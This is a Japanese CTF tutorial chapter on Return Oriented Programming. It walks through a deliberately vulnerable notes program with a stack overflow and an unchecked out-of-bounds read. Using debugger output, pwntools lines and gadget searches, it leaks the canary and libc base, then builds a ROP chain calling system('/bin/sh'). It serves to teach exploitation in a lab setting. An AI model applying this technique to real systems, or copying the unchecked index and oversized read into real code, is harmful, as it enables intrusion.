ROP

Return Oriented ProgrammingとBuffer Overflowとlibc

Challenge

[Distribution File]

1
nc sc.skb.pw 49401

ROP: Return Oriented Programming

ROPとは、スタックフレーム中のRA: Return Addressを書き換え、連鎖的に任意の命令を呼び出す攻撃手法です。

関数のスタックフレームは以下のようになっています:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
↑ Lower Address
+-----------------+
 ...
+-----------------+
 ローカル変数
+-----------------+
 Canary
+-----------------+
 前のフレームのRSP    <= RBP
+-----------------+
 RA: Return Address
+-----------------+
↓ Higher Address

関数から帰るときには、leave命令で mov rsp, rbppop rbp を行い、スタックフレームを破棄します。

この時、スタック内でのオーバーフロー等でRARA'書き換えられていたと仮定します。 すると、leave, ret命令によってRIPRA'に書き換えることができます。 プログラムの制御を奪えたことになります (RIPを取る、などと言います、言わないかも)。

更に発展させて、RIPを取るだけでなく命令Aを呼んだあとに命令Bを呼びたいと考えます。 この場合には、ターゲットのスタックフレーム内にあるRAを命令Aのアドレスに、その直下の8byteをBのアドレスに書き換えることができます:

1
2
3
4
5
6
7
8
9
+-----------------+
 Canary
+-----------------+
 前のフレームのRSP    <= RBP
+-----------------+
 &Inst A (overwritten)
+-----------------+
 &Inst B (overwritten)
+-----------------+

こうすると、leave, ret命令によってRIP&Inst Aに書き換え、&Inst Aにあるret命令によってRIP&Inst Bに書き換えることができます。したがって、命令A,Bを順に実行することができます。 ROPでは、スタックフレーム内のRAを書き換えてret命令によって任意の命令を次々に呼び出していきます。

なお、上記の説明にもあるようにInst Aの最後はretで終わる必要があります。 このような、ROPに利用することの出来る命令列を Gadget と呼びます。

Buffer Overflowとカナリア

ここからはChallengeを題材にして話を進めます。 Challengeのソースコードの抜粋は以下のとおりです:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define N_BUF 3
#define SIZE_BUF 0xD0
char notes[N_BUF][SIZE_BUF];

int main(int argc, char *argv[]) {
  char buf[0x50];
  long choice;

  for (int ix = 0; ix < N_BUF; ix++) {
    // Input
    puts("[INPUT]");
    printf("Note Index > ");
    scanf("%ld", &choice);
    printf("Note > ");
    readn(buf, 0xFF);

    if (choice >= 0 && choice < N_BUF && strlen(buf) < SIZE_BUF) {
      strcpy(notes[choice], buf);
    } else {
      puts("Invalid Note Index or Note Size!");
      exit(1);
    }

    // Output
    puts("[OUTPUT]");
    printf("Note Index > ");
    scanf("%ld", &choice);
    printf("Content: %s\n", notes[choice]);
  }

  return 0;
}

最初にスタックバッファ buf に入力を受け付けたあと、3つある notes のいずれかにコピーしています。 また、好きなノートを出力させることもできます。 この操作を3回繰り返すことができます。

このプログラムには、以下の2つの脆弱性があります。

Vuln1: Buffer Overflow

bufに入力を受け付ける際に、0xFF文字だけ入力を許しています。 スタック上のbufのサイズは0x50であるため、0xFF - 0x50 == 0xAF文字だけオーバーフローが可能です。

ここで、mainのスタックフレームを覗いてみます:

gef> tele $rsp 40
0x00007ffcc5afab70|+0x0000|000: 0x00007ffcc5afad08  ->  0x00007ffcc5afca81  ->  0x485300706f722f2e ('./rop'?)  <-  $rsp
0x00007ffcc5afab78|+0x0008|001: 0x0000000100000000
0x00007ffcc5afab80|+0x0010|002: 0x0000000000000003
0x00007ffcc5afab88|+0x0018|003: 0x0000000000000000
0x00007ffcc5afab90|+0x0020|004: 0x4141414141414141
0x00007ffcc5afab98|+0x0028|005: 0x4141414141414141
0x00007ffcc5afaba0|+0x0030|006: 0x4141414141414141
0x00007ffcc5afaba8|+0x0038|007: 0x4141414141414141
0x00007ffcc5afabb0|+0x0040|008: 0x4141414141414141
0x00007ffcc5afabb8|+0x0048|009: 0x4141414141414141
0x00007ffcc5afabc0|+0x0050|010: 0x4141414141414141
0x00007ffcc5afabc8|+0x0058|011: 0x00000000bfebfb41
0x00007ffcc5afabd0|+0x0060|012: 0x00007ffcc5afb159  ->  0x000034365f363878 ('x86_64'?)
0x00007ffcc5afabd8|+0x0068|013: 0x0000000000000064 ('d'?)
0x00007ffcc5afabe0|+0x0070|014: 0x0000000000001000
0x00007ffcc5afabe8|+0x0078|015: 0x39a1879339e1ed00  <-  canary
0x00007ffcc5afabf0|+0x0080|016: 0x0000000000000001  <-  $rbp
0x00007ffcc5afabf8|+0x0088|017: 0x00007fd47f429d90 <__libc_start_call_main+0x80>  ->  0xe80001b859e8c789

以下のような構造です:

  • +0x20 ~ +0x70: buf
  • +0x78: カナリア
  • +0x80: 前のRSP
  • +0x88: RA (__libc_start_call_main)

bufに入力できるサイズが0xFFであることから、 +0x20 ~ 0x120までの範囲を自由に上書きすることが可能 だと分かります。

Vuln2: Out of Bound Read

Inputにおいてはユーザから指定されたchoiceが0から2の間であるかどうかをチェックしていますが、 Outputにおいてはこのバウンドチェックを行っていません。 よって、choiceとして任意の値を入力することでprintf("Content: %s\n", notes[choice])によって ある程度任意の アドレスにある値をleakすることができます。

ある程度 と書いたのは、notes[choice]が指し示すアドレスの計算方法のためです。 このprintfの第2引数に渡すアドレスの計算部分を見てみましょう:

gef> x/15i $rip-0x5
   0x5575f28094b8 <main+389>:   call   0x5575f2809140 <__isoc99_scanf@plt>
=> 0x5575f28094bd <main+394>:   mov    rdx,QWORD PTR [rbp-0x68] # <choice>
   0x5575f28094c1 <main+398>:   mov    rax,rdx
   0x5575f28094c4 <main+401>:   add    rax,rax
   0x5575f28094c7 <main+404>:   add    rax,rdx
   0x5575f28094ca <main+407>:   shl    rax,0x2
   0x5575f28094ce <main+411>:   add    rax,rdx
   0x5575f28094d1 <main+414>:   shl    rax,0x4
   0x5575f28094d5 <main+418>:   lea    rdx,[rip+0x2b84]        # 0x5575f280c060 <notes>
   0x5575f28094dc <main+425>:   add    rax,rdx
   0x5575f28094df <main+428>:   mov    rsi,rax
   0x5575f28094e2 <main+431>:   lea    rax,[rip+0xb5e]        # 0x5575f280a047
   0x5575f28094e9 <main+438>:   mov    rdi,rax
   0x5575f28094ec <main+441>:   mov    eax,0x0
   0x5575f28094f1 <main+446>:   call   0x5575f2809110 <printf@plt>

上のコードはOutputで利用するchoicescanfで入力させた直後になります。 +394rdxchoiceのアドレスになります。 続く+398 ~ +414では何やらめんどくさそうなことをしていますが、整理すると以下のような計算をしています (なぜこうなるかどうか、一つ一つ命令を追って確認してみてください):

1
2
$rax = choice * (3 * 2^2 + 1) * 2^4
    (== choice * 0xD0)

0xD0という数字が出てきました。これはSIZE_BUFの値のことですね。 つまりこの一連の命令によって、notesからchoice * 0xD0だけ進んだポインタを生成しています。 逆に言うと、 leakのために指定するアドレスは0xD0単位でしか指定することができません 。 これが ある程度任意の と書いた理由になります。

カナリアを跨いだOverflow

ここまでの話をまとめると、以下のようなexploitの方針が立ちます:

  1. bufのoverflowによってRAを書き換える
  2. RAの下もどんどん書き換えて、ROPに持ち込む

しかし、1でoverflowをする時にはカナリアも巻き込んで書き換えてしまうことになります (カナリアと線形WRITEについては #FSBのコラム を参照してください)。

今回はノートのREAD機能もついているため、 カナリアをleakしてOverflowの際にカナリアをカナリアの値で上書きすることにしましょう 。具体的には、bufに対して0x58byteだけ入力することでbuf内の文字列とcanaryが隣接します。その状態でノートを読むことで、canaryをleakすることができます。

libcbaseのleak

ここまででおおよその方針が立ったので具体的に何をするか考えましょう。

ROPには、libc内のgadgetを使います。これは、challengeバイナリ本体は比較的小さく十分な数のgadgetを含んでいないためです(FSBの章で使ったプログラムにあったようなwin関数も今回はありません)。

libc内のgadgetを使うには、まずlibcのアドレス( libcbase )をleakする必要があります。 libcがロードされるアドレスは実行時に決まりますが、シンボル同士の相対位置関係は同じlibcを使っている限り不変です。 そのため、まずは何かしらのlibcシンボルをleakできれば良いことになります。

今回は GOT からシンボルをleakすることにします。 notesはグローバル変数であり、GOTとの相対値が同じです。

gef> got
Name                        | PLT                | GOT                | GOT value
------------------------------------------------------------------------ .rela.plt ------------------------------------------------------------------------
strcpy                      | 0x000055d54b0fc0d0 | 0x000055d54b0fef90 | 0x00007f96cad9ee30 <__strcpy_avx2>
puts                        | 0x000055d54b0fc0e0 | 0x000055d54b0fef98 | 0x00007f96cac80ed0 <puts>
strlen                      | 0x000055d54b0fc0f0 | 0x000055d54b0fefa0 | 0x00007f96cad9d960 <__strlen_avx2>
__stack_chk_fail            | 0x000055d54b0fc100 | 0x000055d54b0fefa8 | 0x00007f96cad36720 <__stack_chk_fail>
printf                      | 0x000055d54b0fc110 | 0x000055d54b0fefb0 | 0x00007f96cac60770 <printf>
read                        | 0x000055d54b0fc120 | 0x000055d54b0fefb8 | 0x00007f96cad14980 <read>
setvbuf                     | 0x000055d54b0fc130 | 0x000055d54b0fefc0 | 0x00007f96cac81670 <setvbuf>
__isoc99_scanf              | 0x000055d54b0fc140 | 0x000055d54b0fefc8 | 0x00007f96cac62110 <__isoc99_scanf>
exit                        | 0x000055d54b0fc150 | 0x000055d54b0fefd0 | 0x00007f96cac455f0 <exit>

gef> p/x &notes
$16 = 0x55d54b0ff060

gef> p/x 0x55d54b0ff060 - 0x000055d54b0feff8 # got[exit]
$18 = 0x68
gef> p/x 0x55d54b0ff060 - 0x000055d54b0fef90 # got[strcpy]
$17 = 0xd0

notes[choice]がこのいずれかのGOTを指すようにすればGOTの値がleakできます。

但し、今回は問題の制約上任意のGOTをleakできるわけではありません。 notes[choice]のアドレス計算式を見て分かったとおり、notesから0xD0の倍数だけ離れたところしか指定できません。 gefの出力から、notesのアドレスとGOT[exit]のアドレス差分は0x68であることが分かります。また、strcpy0xD0です。 よって、このGOTの中でleakに使えるのはstrcpyだけであることが分かります。

以上より、choiceとして-1を入力してあげればGOT[strcpy]の値をleakすることができます。 strcpyの値をleakしたら、あとはlibcのベースアドレスとstrcpyの差分をleakした値から引いてあげるとlibcbaseが計算できます。

なお、「libcのベースアドレスとstrcpyの差分」はvmmapコマンド等の出力を使って計算できます:

gef> vmmap
[ Legend:  Code | Heap | Stack | Writable | RWX]
Start              End                Size               Offset             Perm Path
0x000055d54b0fb000 0x000055d54b0fc000 0x0000000000001000 0x0000000000000000 r-- rop
0x000055d54b0fc000 0x000055d54b0fd000 0x0000000000001000 0x0000000000001000 r-x rop  <-  $rip, $r13
0x000055d54b0fd000 0x000055d54b0fe000 0x0000000000001000 0x0000000000002000 r-- rop
0x000055d54b0fe000 0x000055d54b0ff000 0x0000000000001000 0x0000000000002000 r-- rop  <-  $r14
0x000055d54b0ff000 0x000055d54b100000 0x0000000000001000 0x0000000000003000 rw- rop  <-  $rdx
0x00007f96cac00000 0x00007f96cac28000 0x0000000000028000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f96cac28000 0x00007f96cadbd000 0x0000000000195000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f96cadbd000 0x00007f96cae15000 0x0000000000058000 0x00000000001bd000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6  <-  $r10, $r11

libcbaseのアドレスが0x7f96cac00000であり、__strcpy_avx2のアドレスが先程のgotコマンドで見たように0x7f96cad9ee30であることから、libcbaseと__strcpy_avx2の差分は0x7f96cad9ee30 - 0x7f96cac00000 == 0x19ee30となります。

libc内のgadgetを使ったROP

libcbaseのleakができれば、libc内の任意のシンボルのアドレスが分かったことになります。 これでlibc内の任意のgadgetを使ってROPをすることができますね。

今回のROPでは、system("/bin/sh")を呼び出すことを目的とします。 そのために必要なROP gadgetは以下のようになります:

  1. RDIに/bin/shという文字列のアドレスを入れる
  2. systemに飛ぶ

1に関して、/bin/shという文字列は大抵libcの中に落ちています:

gef> search-pattern /bin/sh
[+] Searching '/bin/sh' in whole memory
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6' (0x7f96cadbd000-0x7f96cae15000 [r--])
  0x7f96cadd8698 - 0x7f96cadd869f  ->   "/bin/sh"
[+] Searching '/\x00b\x00i\x00n\x00/\x00s\x00h\x00' in whole memory

よって、1のROP-chainは以下のとおりになります:

1
2
3
4
5
+-----------------+
 &`pop rdi`
+-----------------+
 "/bin/sh"のアドレス
+-----------------+

2に関しては単純で、leakしたlibcのアドレスからsystemのアドレスを計算して1のchainの下に積んでおくだけでOKです。 なお、pwntoolsではsystemのlibcbaseからの相対アドレスを勝手に調べてくれる機能があります。 よって、この計算部分は以下のように書けます:

1
2
libc = ELF("./libc.so")
system = libcbase + libc.symbols["system"]

さて、libc内のgadgetを探すには rp++ というツールを使うのがおすすめです。 このツールは指定したELFファイルから指定した命令長のgadgetを列挙してくれます。 例えば今回使いたいpop rdi gadgetは以下のように探すことができます:

1
2
3
4
5
6
$ rp++ -f ./libc-2.35.so -r1 | grep "pop rdi" | head -n5
0x125bb1: pop rdi ; call rax ; (1 found)
0x2d549: pop rdi ; jmp rax ; (1 found)
0x2dc39: pop rdi ; jmp rax ; (1 found)
0x2e2f0: pop rdi ; jmp rax ; (1 found)
0x2eadb: pop rdi ; jmp rax ; (1 found)

以上でROPを使って本Challengeを解くことが出来るかと思います。 ぜひリモートサーバでflagを取得してみてください。


Exercise

1. NOTE2ROP

[Distribution File]

1
nc sc.skb.pw 49401
Last modified November 15, 2023: add warning about challenge server (55ad5da)